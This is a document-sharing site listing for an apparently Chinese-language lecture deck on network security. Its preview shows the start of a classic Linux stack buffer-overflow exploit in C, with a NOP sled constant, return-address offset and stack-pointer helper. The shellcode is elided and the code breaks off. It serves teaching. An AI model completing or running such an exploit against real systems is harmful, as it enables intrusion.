网络与信息安全网络安全(五).pptVIP

  • 1
  • 0
  • 约1.49万字
  • 约 55页
  • 2019-12-06 发布于湖北
  • 举报
Linux下Buffer overflows的exploit例子 #includestdio.h #includestdlib.h #define ALIGN 0 #define OFFSET 0 #define RET_POSITION 1024 #define RANGE 20 #define NOP 0x90 char shellcode[]=“…”; unsigned long get_sp(void) { __asm__(movl %esp,%eax); } main(int argc,char **argv) { char *ptr, buff[RET_POSITION+RANGE+ALIGN+1]; long addr; unsigned long sp; int i; int offset=OFFSET, bsize=RET_POSITION +RANGE+ALIGN+1; if(argc1) offset=a

文档评论(0)

1亿VIP精品文档

相关文档